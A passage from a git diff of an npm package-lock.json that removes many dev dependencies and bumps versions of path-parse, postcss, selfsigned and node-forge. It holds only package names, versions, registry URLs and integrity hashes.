"https://registry.npmjs.org/node.extend/-/node.extend-2.0.2.tgz", - "integrity": "sha512-pDT4Dchl94/+kkgdwyS2PauDFjZG0Hk0IcHIB+LkW27HLDtdoeMxHTxZh39DYbPP8UflWXWj9JcdDozF+YDOpQ==", - "dev": true, - "requires": { - "has": "^1.0.3", - "is": "^3.2.1" - } - }, "noms": { "version": "0.0.0", "resolved": "https://registry.npmjs.org/noms/-/noms-0.0.0.tgz", @@ -12296,12 +9678,6 @@ "integrity": "sha1-0LFF62kRicY6eNIB3E/bEpPvDAM=", "dev": true }, - "normalize-url": { - "version": "4.5.0", - "resolved": "https://registry.npmjs.org/normalize-url/-/normalize-url-4.5.0.tgz", - "integrity": "sha512-2s47yzUxdexf1OhyRi4Em83iQk0aPvwTddtFz4hnSSw9dCEsLEGf6SwIO8ss/19S9iBb5sJaOuTvTGDeZI00BQ==", - "dev": true - }, "normalize.css": { "version": "8.0.1", "resolved": "https://registry.npmjs.org/normalize.css/-/normalize.css-8.0.1.tgz", @@ -16327,27 +13703,6 @@ "mimic-fn": "^2.1.0" } }, - "open": { - "version": "7.4.2", - "resolved": "https://registry.npmjs.org/open/-/open-7.4.2.tgz", - "integrity": "sha512-MVHddDVweXZF3awtlAS+6pgKLlm/JgxZ90+/NBurBoQctVOOB/zDdVjcyPzQ+0laDGbsWgrRkflI65sQeOgT9Q==", - "dev": true, - "requires": { - "is-docker": "^2.0.0", - "is-wsl": "^2.1.1" - }, - "dependencies": { - "is-wsl": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/is-wsl/-/is-wsl-2.2.0.tgz", - "integrity": "sha512-fKzAra0rGJUUBwGBgNkHZuToZcn+TtXHpeCgmkMJMMYx1sQDYaCSyjJBSCa2nH1DGm7s3n1oBnohoVTBaN7Lww==", - "dev": true, - "requires": { - "is-docker": "^2.0.0" - } - } - } - }, "opn": { "version": "5.5.0", "resolved": "https://registry.npmjs.org/opn/-/opn-5.5.0.tgz", @@ -16371,88 +13726,6 @@ "word-wrap": "~1.2.3" } }, - "ora": { - "version": "5.3.0", - "resolved": "https://registry.npmjs.org/ora/-/ora-5.3.0.tgz", - "integrity": "sha512-zAKMgGXUim0Jyd6CXK9lraBnD3H5yPGBPPOkC23a2BG6hsm4Zu6OQSjQuEtV0BHDf4aKHcUFvJiGRrFuW3MG8g==", - "dev": true, - "requires": { - "bl": "^4.0.3", - "chalk": "^4.1.0", - "cli-cursor": "^3.1.0", - "cli-spinners": "^2.5.0", - "is-interactive": "^1.0.0", - "log-symbols": "^4.0.0", - "strip-ansi": "^6.0.0", - "wcwidth": "^1.0.1" - }, - "dependencies": { - "ansi-regex": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.0.tgz", - "integrity": "sha512-bY6fj56OUQ0hU1KjFNDQuJFezqKdrAyFdIevADiqrWHwSlbmBNMHp5ak2f40Pm8JTFyM2mqxkG6ngkHO11f/lg==", - "dev": true - }, - "ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", - "dev": true, - "requires": { - "color-convert": "^2.0.1" - } - }, - "chalk": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.0.tgz", - "integrity": "sha512-qwx12AxXe2Q5xQ43Ac//I6v5aXTipYrSESdOgzrN+9XjgEpyjpKuvSGaN4qE93f7TQTlerQQ8S+EQ0EyDoVL1A==", - "dev": true, - "requires": { - "ansi-styles": "^4.1.0", - "supports-color": "^7.1.0" - } - }, - "color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", - "dev": true, - "requires": { - "color-name": "~1.1.4" - } - }, - "color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true - }, - "has-flag": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", - "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", - "dev": true - }, - "strip-ansi": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.0.tgz", - "integrity": "sha512-AuvKTrTfQNYNIctbR1K/YGTR1756GycPsg7b9bdV9Duqur4gv6aKqHXah67Z8ImS7WEz5QVcOtlfW2rZEugt6w==", - "dev": true, - "requires": { - "ansi-regex": "^5.0.0" - } - }, - "supports-color": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", - "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", - "dev": true, - "requires": { - "has-flag": "^4.0.0" - } - } - } - }, "original": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/original/-/original-1.0.2.tgz", @@ -16474,16 +13747,6 @@ "integrity": "sha1-/7xJiDNuDoM94MFox+8VISGqf7M=", "dev": true }, - "os-name": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/os-name/-/os-name-3.1.0.tgz", - "integrity": "sha512-h8L+8aNjNcMpo/mAIBPn5PXCM16iyPGjHNWo6U1YO8sJTMHtEtyczI6QJnLoplswm6goopQkqc7OAnjhWcugVg==", - "dev": true, - "requires": { - "macos-release": "^2.2.0", - "windows-release": "^3.1.0" - } - }, "os-tmpdir": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/os-tmpdir/-/os-tmpdir-1.0.2.tgz", @@ -16500,12 +13763,6 @@ "os-tmpdir": "^1.0.0" } }, - "p-cancelable": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/p-cancelable/-/p-cancelable-2.1.0.tgz", - "integrity": "sha512-HAZyB3ZodPo+BDpb4/Iu7Jv4P6cSazBz9ZM0ChhEXp70scx834aWCEjQRwgt41UzzejUAPdbqqONfRWTPYrPAQ==", - "dev": true - }, "p-finally": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/p-finally/-/p-finally-1.0.0.tgz", @@ -16551,149 +13808,6 @@ "integrity": "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==", "dev": true }, - "package-json": { - "version": "6.5.0", - "resolved": "https://registry.npmjs.org/package-json/-/package-json-6.5.0.tgz", - "integrity": "sha512-k3bdm2n25tkyxcjSKzB5x8kfVxlMdgsbPr0GkZcwHsLpba6cBjqCt1KlcChKEvxHIcTB1FVMuwoijZ26xex5MQ==", - "dev": true, - "requires": { - "got": "^9.6.0", - "registry-auth-token": "^4.0.0", - "registry-url": "^5.0.0", - "semver": "^6.2.0" - }, - "dependencies": { - "@sindresorhus/is": { - "version": "0.14.0", - "resolved": "https://registry.npmjs.org/@sindresorhus/is/-/is-0.14.0.tgz", - "integrity": "sha512-9NET910DNaIPngYnLLPeg+Ogzqsi9uM4mSboU5y6p8S5DzMTVEsJZrawi+BoDNUVBa2DhJqQYUFvMDfgU062LQ==", - "dev": true - }, - "@szmarczak/http-timer": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/@szmarczak/http-timer/-/http-timer-1.1.2.tgz", - "integrity": "sha512-XIB2XbzHTN6ieIjfIMV9hlVcfPU26s2vafYWQcZHWXHOxiaRZYEDKEwdl129Zyg50+foYV2jCgtrqSA6qNuNSA==", - "dev": true, - "requires": { - "defer-to-connect": "^1.0.1" - } - }, - "cacheable-request": { - "version": "6.1.0", - "resolved": "https://registry.npmjs.org/cacheable-request/-/cacheable-request-6.1.0.tgz", - "integrity": "sha512-Oj3cAGPCqOZX7Rz64Uny2GYAZNliQSqfbePrgAQ1wKAihYmCUnraBtJtKcGR4xz7wF+LoJC+ssFZvv5BgF9Igg==", - "dev": true, - "requires": { - "clone-response": "^1.0.2", - "get-stream": "^5.1.0", - "http-cache-semantics": "^4.0.0", - "keyv": "^3.0.0", - "lowercase-keys": "^2.0.0", - "normalize-url": "^4.1.0", - "responselike": "^1.0.2" - }, - "dependencies": { - "get-stream": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-5.2.0.tgz", - "integrity": "sha512-nBF+F1rAZVCu/p7rjzgA+Yb4lfYXrpl7a6VmJrU8wF9I1CKvP/QwPNZHnOlwbTkY6dvtFIzFMSyQXbLoTQPRpA==", - "dev": true, - "requires": { - "pump": "^3.0.0" - } - }, - "lowercase-keys": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/lowercase-keys/-/lowercase-keys-2.0.0.tgz", - "integrity": "sha512-tqNXrS78oMOE73NMxK4EMLQsQowWf8jKooH9g7xPavRT706R6bkQJ6DY2Te7QukaZsulxa30wQ7bk0pm4XiHmA==", - "dev": true - } - } - }, - "decompress-response": { - "version": "3.3.0", - "resolved": "https://registry.npmjs.org/decompress-response/-/decompress-response-3.3.0.tgz", - "integrity": "sha1-gKTdMjdIOEv6JICDYirt7Jgq3/M=", - "dev": true, - "requires": { - "mimic-response": "^1.0.0" - } - }, - "defer-to-connect": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/defer-to-connect/-/defer-to-connect-1.1.3.tgz", - "integrity": "sha512-0ISdNousHvZT2EiFlZeZAHBUvSxmKswVCEf8hW7KWgG4a8MVEu/3Vb6uWYozkjylyCxe0JBIiRB1jV45S70WVQ==", - "dev": true - }, - "got": { - "version": "9.6.0", - "resolved": "https://registry.npmjs.org/got/-/got-9.6.0.tgz", - "integrity": "sha512-R7eWptXuGYxwijs0eV+v3o6+XH1IqVK8dJOEecQfTmkncw9AV4dcw/Dhxi8MdlqPthxxpZyizMzyg8RTmEsG+Q==", - "dev": true, - "requires": { - "@sindresorhus/is": "^0.14.0", - "@szmarczak/http-timer": "^1.1.2", - "cacheable-request": "^6.0.0", - "decompress-response": "^3.3.0", - "duplexer3": "^0.1.4", - "get-stream": "^4.1.0", - "lowercase-keys": "^1.0.1", - "mimic-response": "^1.0.1", - "p-cancelable": "^1.0.0", - "to-readable-stream": "^1.0.0", - "url-parse-lax": "^3.0.0" - } - }, - "json-buffer": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/json-buffer/-/json-buffer-3.0.0.tgz", - "integrity": "sha1-Wx85evx11ne96Lz8Dkfh+aPZqJg=", - "dev": true - }, - "keyv": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/keyv/-/keyv-3.1.0.tgz", - "integrity": "sha512-9ykJ/46SN/9KPM/sichzQ7OvXyGDYKGTaDlKMGCAlg2UK8KRy4jb0d8sFc+0Tt0YYnThq8X2RZgCg74RPxgcVA==", - "dev": true, - "requires": { - "json-buffer": "3.0.0" - } - }, - "lowercase-keys": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/lowercase-keys/-/lowercase-keys-1.0.1.tgz", - "integrity": "sha512-G2Lj61tXDnVFFOi8VZds+SoQjtQC3dgokKdDG2mTm1tx4m50NUHBOZSBwQQHyy0V12A0JTG4icfZQH+xPyh8VA==", - "dev": true - }, - "p-cancelable": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/p-cancelable/-/p-cancelable-1.1.0.tgz", - "integrity": "sha512-s73XxOZ4zpt1edZYZzvhqFa6uvQc1vwUa0K0BdtIZgQMAJj9IbebH+JkgKZc9h+B05PKHLOTl4ajG1BmNrVZlw==", - "dev": true - }, - "responselike": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/responselike/-/responselike-1.0.2.tgz", - "integrity": "sha1-kYcg7ztjHFZCvgaPFa3lpG9Loec=", - "dev": true, - "requires": { - "lowercase-keys": "^1.0.0" - } - }, - "semver": { - "version": "6.3.0", - "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", - "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", - "dev": true - } - } - }, - "pako": { - "version": "0.2.9", - "resolved": "https://registry.npmjs.org/pako/-/pako-0.2.9.tgz", - "integrity": "sha1-8/dSL073gjSNqBYbrZ7P1Rv4OnU=", - "dev": true - }, "parallel-transform": { "version": "1.2.0", "resolved": "https://registry.npmjs.org/parallel-transform/-/parallel-transform-1.2.0.tgz", @@ -16760,15 +13874,6 @@ "lines-and-columns": "^1.1.6" } }, - "parse-link-header": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/parse-link-header/-/parse-link-header-1.0.1.tgz", - "integrity": "sha1-vt/g0hGK64S+deewJUGeyKYRQKc=", - "dev": true, - "requires": { - "xtend": "~4.0.1" - } - }, "parse-passwd": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/parse-passwd/-/parse-passwd-1.0.0.tgz", @@ -16827,9 +13932,9 @@ "dev": true }, "path-parse": { - "version": "1.0.6", - "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.6.tgz", - "integrity": "sha512-GSmOT2EbHrINBf9SR7CDELwlJ8AENk3Qn7OikK4nFYAu3Ote2+JYNVvkpAEQm3/TLNEJFD/xZJjzyxg3KBWOzw==" + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.7.tgz", + "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==" }, "path-to-regexp": { "version": "1.8.0", @@ -16870,17 +13975,6 @@ "sha.js": "^2.4.8" } }, - "peek-stream": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/peek-stream/-/peek-stream-1.1.3.tgz", - "integrity": "sha512-FhJ+YbOSBb9/rIl2ZeE/QHEsWn7PqNYt8ARAY3kIgNGOk13g9FGyIY6JIl/xB/3TFRVoTv5as0l11weORrTekA==", - "dev": true, - "requires": { - "buffer-from": "^1.0.0", - "duplexify": "^3.5.0", - "through2": "^2.0.3" - } - }, "performance-now": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/performance-now/-/performance-now-2.1.0.tgz", @@ -16974,9 +14068,9 @@ "dev": true }, "postcss": { - "version": "7.0.35", - "resolved": "https://registry.npmjs.org/postcss/-/postcss-7.0.35.tgz", - "integrity": "sha512-3QT8bBJeX/S5zKTTjTCIjRF3If4avAT6kqxcASlTWEtAFCb9NH0OUxNDfgZSWdP5fJnBYCMEWkIFfWeugjzYMg==", + "version": "7.0.36", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-7.0.36.tgz", + "integrity": "sha512-BebJSIUMwJHRH0HAQoxN4u1CN86glsrwsW0q7T+/m44eXOUAxSNdHRkNZPYz5vVUbg17hFgOQDE7fZk7li3pZw==", "dev": true, "requires": { "chalk": "^2.4.2", @@ -17130,18 +14224,6 @@ "integrity": "sha1-IZMqVJ9eUv/ZqCf1cOBL5iqX2lQ=", "dev": true }, - "prepend-http": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/prepend-http/-/prepend-http-2.0.0.tgz", - "integrity": "sha1-6SQ0v6XqjBn0HN/UAddBo8gZ2Jc=", - "dev": true - }, - "pretty-bytes": { - "version": "5.6.0", - "resolved": "https://registry.npmjs.org/pretty-bytes/-/pretty-bytes-5.6.0.tgz", - "integrity": "sha512-FFw039TmrBqFK8ma/7OL3sDz/VytdtJr044/QUJtH0wK9lb9jLq9tJyIxUwtQJHwar2BqtiA4iCWSwo9JLkzFg==", - "dev": true - }, "pretty-error": { "version": "2.1.1", "resolved": "https://registry.npmjs.org/pretty-error/-/pretty-error-2.1.1.tgz", @@ -17233,46 +14315,12 @@ "asap": "~2.0.3" } }, - "promise-deferred": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/promise-deferred/-/promise-deferred-2.0.3.tgz", - "integrity": "sha512-n10XaoznCzLfyPFOlEE8iurezHpxrYzyjgq/1eW9Wk1gJwur/N7BdBmjJYJpqMeMcXK4wEbzo2EvZQcqjYcKUQ==", - "dev": true, - "requires": { - "promise": "^7.3.1" - } - }, - "promise-fs": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/promise-fs/-/promise-fs-2.1.1.tgz", - "integrity": "sha512-43p7e4QzAQ3w6eyN0+gbBL7jXiZFWLWYITg9wIObqkBySu/a5K1EDcQ/S6UyB/bmiZWDA4NjTbcopKLTaKcGSw==", - "dev": true, - "requires": { - "@octetstream/promisify": "2.0.2" - } - }, "promise-inflight": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/promise-inflight/-/promise-inflight-1.0.1.tgz", "integrity": "sha1-mEcocL8igTL8vdhoEputEsPAKeM=", "dev": true }, - "promise-queue": { - "version": "2.2.5", - "resolved": "https://registry.npmjs.org/promise-queue/-/promise-queue-2.2.5.tgz", - "integrity": "sha1-L29ffA9tCBCelnZZx5uIqe1ek7Q=", - "dev": true - }, - "promiseback": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/promiseback/-/promiseback-2.0.3.tgz", - "integrity": "sha512-VZXdCwS0ppVNTIRfNsCvVwJAaP2b+pxQF7lM8DMWfmpNWyTxB6O5YNbzs+8z0ki/KIBHKHk308NTIl4kJUem3w==", - "dev": true, - "requires": { - "is-callable": "^1.1.5", - "promise-deferred": "^2.0.3" - } - }, "prop-types": { "version": "15.7.2", "resolved": "https://registry.npmjs.org/prop-types/-/prop-types-15.7.2.tgz", @@ -17302,12 +14350,6 @@ "ipaddr.js": "1.9.1" } }, - "proxy-from-env": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/proxy-from-env/-/proxy-from-env-1.1.0.tgz", - "integrity": "sha512-D+zkORCbA9f1tdWRK0RaCR3GPv50cMxcrz4X8k5LTSUD1Dkw47mKJEZQNunItRTkWwgtaUSo1RVFRIG9ZXiFYg==", - "dev": true - }, "prr": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/prr/-/prr-1.0.1.tgz", @@ -17385,15 +14427,6 @@ "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.1.1.tgz", "integrity": "sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A==" }, - "pupa": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/pupa/-/pupa-2.1.1.tgz", - "integrity": "sha512-l1jNAspIBSFqbT+y+5FosojNpVpF94nlI+wDUpqP9enwOTfHx9f0gh5nB96vl+6yTpsJsypeNrwfzPrKuHB41A==", - "dev": true, - "requires": { - "escape-goat": "^2.0.0" - } - }, "pure-color": { "version": "1.3.0", "resolved": "https://registry.npmjs.org/pure-color/-/pure-color-1.3.0.tgz", @@ -17423,27 +14456,12 @@ "integrity": "sha512-w7fLxIRCRT7U8Qu53jQnJyPkYZIaR4n5151KMfcJlO/A9397Wxb1amJvROTK6TOnp7PfoAmg/qXiNHI+08jRfA==", "dev": true }, - "queue": { - "version": "6.0.2", - "resolved": "https://registry.npmjs.org/queue/-/queue-6.0.2.tgz", - "integrity": "sha512-iHZWu+q3IdFZFX36ro/lKBkSvfkztY5Y7HMiPlOUjhupPcG2JMfst2KKEpu5XndviX/3UhFbRngUPNKtgvtZiA==", - "dev": true, - "requires": { - "inherits": "~2.0.3" - } - }, "queue-microtask": { "version": "1.2.3", "resolved": "https://registry.npmjs.org/queue-microtask/-/queue-microtask-1.2.3.tgz", "integrity": "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==", "dev": true }, - "quick-lru": { - "version": "5.1.1", - "resolved": "https://registry.npmjs.org/quick-lru/-/quick-lru-5.1.1.tgz", - "integrity": "sha512-WuyALRjWPDGtt/wzJiadO5AXY+8hZ80hVpe6MyivgraREW751X3SbhRvG3eLKOYN+8VEvqLcf3wdnt44Z4S4SA==", - "dev": true - }, "rainge": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/rainge/-/rainge-1.0.1.tgz", @@ -17494,26 +14512,6 @@ } } }, - "rc": { - "version": "1.2.8", - "resolved": "https://registry.npmjs.org/rc/-/rc-1.2.8.tgz", - "integrity": "sha512-y3bGgqKj3QBdxLbLkomlohkvsA8gdAiUQlSBJnBhfn+BPxg4bc62d8TcBW15wavDfgexCgccckhcZvywyQYPOw==", - "dev": true, - "requires": { - "deep-extend": "^0.6.0", - "ini": "~1.3.0", - "minimist": "^1.2.0", - "strip-json-comments": "~2.0.1" - }, - "dependencies": { - "strip-json-comments": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-2.0.1.tgz", - "integrity": "sha1-PFMZQukIwml8DsNEhYwobHygpgo=", - "dev": true - } - } - }, "rc-progress": { "version": "2.6.1", "resolved": "https://registry.npmjs.org/rc-progress/-/rc-progress-2.6.1.tgz", @@ -18029,24 +15027,6 @@ "unicode-match-property-value-ecmascript": "^1.2.0" } }, - "registry-auth-token": { - "version": "4.2.1", - "resolved": "https://registry.npmjs.org/registry-auth-token/-/registry-auth-token-4.2.1.tgz", - "integrity": "sha512-6gkSb4U6aWJB4SF2ZvLb76yCBjcvufXBqvvEx1HbmKPkutswjW1xNVRY0+daljIYRbogN7O0etYSlbiaEQyMyw==", - "dev": true, - "requires": { - "rc": "^1.2.8" - } - }, - "registry-url": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/registry-url/-/registry-url-5.1.0.tgz", - "integrity": "sha512-8acYXXTI0AkQv6RAOjE3vOaIXZkT9wo4LOFbBKYQEEnnMNBpKqdUrI6S4NT0KPIo/WVvJ5tE/X5LF/TQUf0ekw==", - "dev": true, - "requires": { - "rc": "^1.2.8" - } - }, "regjsgen": { "version": "0.5.2", "resolved": "https://registry.npmjs.org/regjsgen/-/regjsgen-0.5.2.tgz", @@ -18205,12 +15185,6 @@ "path-parse": "^1.0.6" } }, - "resolve-alpn": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/resolve-alpn/-/resolve-alpn-1.1.1.tgz", - "integrity": "sha512-0KbFjFPR2bnJhNx1t8Ad6RqVc8+QPJC4y561FYyC/Q/6OzB3fhUzB5PEgitYhPK6aifwR5gXBSnDMllaDWixGQ==", - "dev": true - }, "resolve-cwd": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/resolve-cwd/-/resolve-cwd-2.0.0.tgz", @@ -18280,15 +15254,6 @@ "integrity": "sha1-LGN/53yJOv0qZj/iGqkIAGjiBSo=", "dev": true }, - "responselike": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/responselike/-/responselike-2.0.0.tgz", - "integrity": "sha512-xH48u3FTB9VsZw7R+vvgaKeLKzT6jOogbQhEe/jewwnZgzPcnyWui2Av6JpoYZF/91uueC+lqhWqeURw5/qhCw==", - "dev": true, - "requires": { - "lowercase-keys": "^2.0.0" - } - }, "restore-cursor": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/restore-cursor/-/restore-cursor-3.1.0.tgz", @@ -18336,28 +15301,6 @@ "inherits": "^2.0.1" } }, - "roarr": { - "version": "2.15.4", - "resolved": "https://registry.npmjs.org/roarr/-/roarr-2.15.4.tgz", - "integrity": "sha512-CHhPh+UNHD2GTXNYhPWLnU8ONHdI+5DI+4EYIAOaiD63rHeYlZvyh8P+in5999TTSFgUYuKUAjzRI4mdh/p+2A==", - "dev": true, - "requires": { - "boolean": "^3.0.1", - "detect-node": "^2.0.4", - "globalthis": "^1.0.1", - "json-stringify-safe": "^5.0.1", - "semver-compare": "^1.0.0", - "sprintf-js": "^1.1.2" - }, - "dependencies": { - "sprintf-js": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.1.2.tgz", - "integrity": "sha512-VE0SOVEHCk7Qc8ulkWw3ntAzXuqf7S2lvwQaDLRnUeIEaKNQJzV6BwmLKhOqT61aGhfUMrXeaBk+oDGCzvhcug==", - "dev": true - } - } - }, "run-async": { "version": "2.4.1", "resolved": "https://registry.npmjs.org/run-async/-/run-async-2.4.1.tgz", @@ -18454,12 +15397,6 @@ } } }, - "sax": { - "version": "1.2.4", - "resolved": "https://registry.npmjs.org/sax/-/sax-1.2.4.tgz", - "integrity": "sha512-NqVDv9TpANUjFm0N8uM5GxL36UgKi9/atZw+x7YFnQ8ckwFGKrl4xX4yWtrey3UJm5nP1kUbnYgLopqWNSRhWw==", - "dev": true - }, "scheduler": { "version": "0.19.1", "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.19.1.tgz", @@ -18507,12 +15444,20 @@ "dev": true }, "selfsigned": { - "version": "1.10.7", - "resolved": "https://registry.npmjs.org/selfsigned/-/selfsigned-1.10.7.tgz", - "integrity": "sha512-8M3wBCzeWIJnQfl43IKwOmC4H/RAp50S8DF60znzjW5GVqTcSe2vWclt7hmYVPkKPlHWOu5EaWOMZ2Y6W8ZXTA==", + "version": "1.10.11", + "resolved": "https://registry.npmjs.org/selfsigned/-/selfsigned-1.10.11.tgz", + "integrity": "sha512-aVmbPOfViZqOZPgRBT0+3u4yZFHpmnIghLMlAcb5/xhp5ZtB/RVnKhz5vl2M32CLXAqR4kha9zfhNg0Lf/sxKA==", "dev": true, "requires": { - "node-forge": "0.9.0" + "node-forge": "^0.10.0" + }, + "dependencies": { + "node-forge": { + "version": "0.10.0", + "resolved": "https://registry.npmjs.org/node-forge/-/node-forge-0.10.0.tgz", + "integrity": "sha512-PPmu8eEeG9saEUvI97fm4OYxXVB6bFvyNTyiUOBichBpFG8A1Ljw3bY62+5oOjDEMHRnd0Y7HQ+x7uzxOzC6JA==", + "dev": true + } } }, "semver": { @@ -18521,29 +15466,6 @@ "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==", "dev": true }, - "semver-compare": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/semver-compare/-/semver-compare-1.0.0.tgz", - "integrity": "sha1-De4hahyUGrN+nvsXiPavxf9VN/w=", - "dev": true - }, - "semver-diff": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/semver-diff/-/semver-diff-3.1.1.tgz", - "integrity": "sha512-GX0Ix/CJcHyB8c4ykpHGIAvLyOwOobtM/8d+TQkAd81/bEjgPHrfba41Vpesr7jX/t8Uh+R3EX9eAS5be+jQYg==", - "dev": true, - "requires": { - "semver": "^6.3.0" - }, - "dependencies": { - "semver": { - "version": "6.3.0", - "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", - "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", - "dev": true - } - } - }, "send": { "version": "0.17.1", "resolved": "https://registry.npmjs.org/send/-/send-0.17.1.tgz", @@ -18579,23 +15501,6 @@ } } }, - "serialize-error": { - "version": "7.0.1", - "resolved": "https://registry.npmjs.org/serialize-error/-/serialize-error-7.0.1.tgz", - "integrity": "sha512-8I8TjW5KMOKsZQTvoxjuSIa7foAwPWGOts+6o7sgjz41/qMD9VQHEDxi6PBvK2l0MXUmqZyNpUK+T2tQaaElvw==", - "dev": true, - "requires": { - "type-fest": "^0.13.1" - }, - "dependencies": { - "type-fest": { - "version": "0.13.1", - "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.13.1.tgz", - "integrity": "sha512-34R7HTnG0XIJcBSn5XhDd7nNFPRcXYRZrBB2O2jdKqYODldSzBAqzsWoZYYvduky73toYS/ESqxPvkDf/F0XMg==", - "dev": true - } - } - }, "serialize-javascript": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-4.0.0.tgz", @@ -18664,12 +15569,6 @@ "integrity": "sha1-BF+XgtARrppoA93TgrJDkrPYkPc=", "dev": true }, - "set-immediate-shim": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/set-immediate-shim/-/set-immediate-shim-1.0.1.tgz", - "integrity": "sha1-SysbJ+uAip+NzEgaWOXlb1mfP2E=", - "dev": true - }, "set-value": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/set-value/-/set-value-2.0.1.tgz", @@ -18928,1143 +15827,10 @@ } }, "snyk": { - "version": "1.535.0", - "resolved": "https://registry.npmjs.org/snyk/-/snyk-1.535.0.tgz", - "integrity": "sha512-NQpGzXb66WvMGkZ2vye58LST1lJFN+diEQ76dlTdh/e2KgFb/qmevo/VgDqAsMsFW6h0rE8V6tFqVBDb8mfEBw==", - "dev": true, - "requires": { - "@open-policy-agent/opa-wasm": "^1.2.0", - "@snyk/cli-interface": "2.11.0", - "@snyk/code-client": "3.4.0", - "@snyk/dep-graph": "^1.27.1", - "@snyk/fix": "1.526.0", - "@snyk/gemfile": "1.2.0", - "@snyk/graphlib": "^2.1.9-patch.3", - "@snyk/inquirer": "^7.3.3-patch", - "@snyk/snyk-cocoapods-plugin": 